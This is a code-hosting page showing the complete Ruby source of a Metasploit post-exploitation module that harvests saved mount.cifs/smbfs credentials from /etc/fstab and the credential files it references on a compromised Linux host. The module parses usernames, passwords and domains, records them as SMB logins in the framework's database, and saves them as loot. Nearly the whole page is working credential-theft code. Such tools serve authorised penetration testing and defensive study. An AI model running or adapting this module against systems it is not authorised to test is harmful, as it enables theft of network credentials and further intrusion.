Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/mount_cifs_creds.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',13'Description' => %q{14Post Module to obtain credentials saved for mount.cifs/mount.smbfs in15/etc/fstab on a Linux system.16},17'License' => MSF_LICENSE,18'Author' => ['Jon Hart <jhart[at]spoofed.org>'],19'Platform' => ['linux'],20'SessionTypes' => ['shell', 'meterpreter']21)22)23end2425def run26# keep track of any of the credentials files we read so we only read them once27cred_files = []28# where we'll store hashes of found credentials while parsing. reporting is done at the end.29creds = []30# A table to store the found credentials for loot storage afterward31cred_table = Rex::Text::Table.new(32'Header' => 'mount.cifs credentials',33'Indent' => 1,34'Columns' =>35[36'Username',37'Password',38'Server',39'File'40]41)4243# parse each line from /etc/fstab44fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')45read_file('/etc/fstab').each_line do |fstab_line|46fstab_line.strip!47# where we'll store the current parsed credentials, if any48cred = {}49# if the fstab line utilizies the credentials= option, read the credentials from that file50next unless (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*})5152cred[:host] = ::Regexp.last_match(1)53# IPs can occur using the ip option, which is a backup/alternative54# to letting UNC resolution do its thing55cred[:host] = ::Regexp.last_match(1) if (fstab_line =~ /ip=([^, ]+)/)56if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)57file = ::Regexp.last_match(1)58# skip if we've already parsed this credentials file59next if cred_files.include?(file)6061# store it if we haven't62cred_files << file63# parse the credentials64cred.merge!(parse_credentials_file(file))65# if the credentials are directly in /etc/fstab, parse them66elsif (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=})67cred.merge!(parse_fstab_credentials(fstab_line))68end6970creds << cred71end7273# all done. clean up, report and loot.74creds.flatten!75creds.compact!76creds.uniq!77creds.each do |cred|78if Rex::Socket.dotted_ip?(cred[:host])79report_cred(80ip: cred[:host],81port: 445,82service_name: 'smb',83user: cred[:user],84password: cred[:pass],85proof: '/etc/fstab'86)87end88cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]89end9091# store all found credentials92unless cred_table.rows.empty?93print_line("\n" + cred_table.to_s)94p = store_loot(95'mount.cifs.creds',96'text/csv',97session,98cred_table.to_csv,99'mount_cifs_credentials.txt',100'mount.cifs credentials'101)102print_status("CIFS credentials saved in: #{p}")103end104end105106def report_cred(opts)107service_data = {108address: opts[:ip],109port: opts[:port],110service_name: opts[:service_name],111protocol: 'tcp',112workspace_id: myworkspace_id113}114115credential_data = {116origin_type: :session,117module_fullname: fullname,118username: opts[:user],119private_data: opts[:password],120private_type: :password,121session_id: session_db_id,122post_reference_name: refname123}.merge(service_data)124125login_data = {126core: create_credential(credential_data),127status: Metasploit::Model::Login::Status::UNTRIED,128proof: opts[:proof]129}.merge(service_data)130131create_credential_login(login_data)132end133134# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.135# Returns the username+domain and password as a hash.136def parse_fstab_credentials(line, file = '/etc/fstab')137creds = {}138# get the username option, which comes in one of four ways139user_opt = ::Regexp.last_match(1) if (line =~ /user(?:name)?=([^, ]+)/)140if user_opt141case user_opt142# domain/user%pass143when %r{^([^/]+)/([^%]+)%(.*)$}144creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"145creds[:pass] = ::Regexp.last_match(3)146# domain/user147when %r{^([^/]+)/([^%]+)$}148creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"149# user%password150when /^([^%]+)%(.*)$/151creds[:user] = ::Regexp.last_match(1)152creds[:pass] = ::Regexp.last_match(2)153# user154else155creds[:user] = user_opt156end157end158159# get the password option if any160creds[:pass] = ::Regexp.last_match(1) if (line =~ /pass(?:word)?=([^, ]+)/)161162# get the domain option, if any163creds[:user] = "#{::Regexp.last_match(1)}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)164165creds[:file] = file unless creds.empty?166167creds168end169170# Parse mount.cifs credentials from +file+, returning the username+domain and password171# as a hash.172def parse_credentials_file(file)173creds = {}174domain = nil175read_file(file).each_line do |credfile_line|176case credfile_line177when /domain=(.*)/178domain = ::Regexp.last_match(1)179when /password=(.*)/180creds[:pass] = ::Regexp.last_match(1)181when /username=(.*)/182creds[:user] = ::Regexp.last_match(1)183end184end185# prepend the domain if one was found186creds[:user] = "#{domain}\\#{creds[:user]}" if (domain && creds[:user])187creds[:file] = file unless creds.empty?188189creds190end191end192193194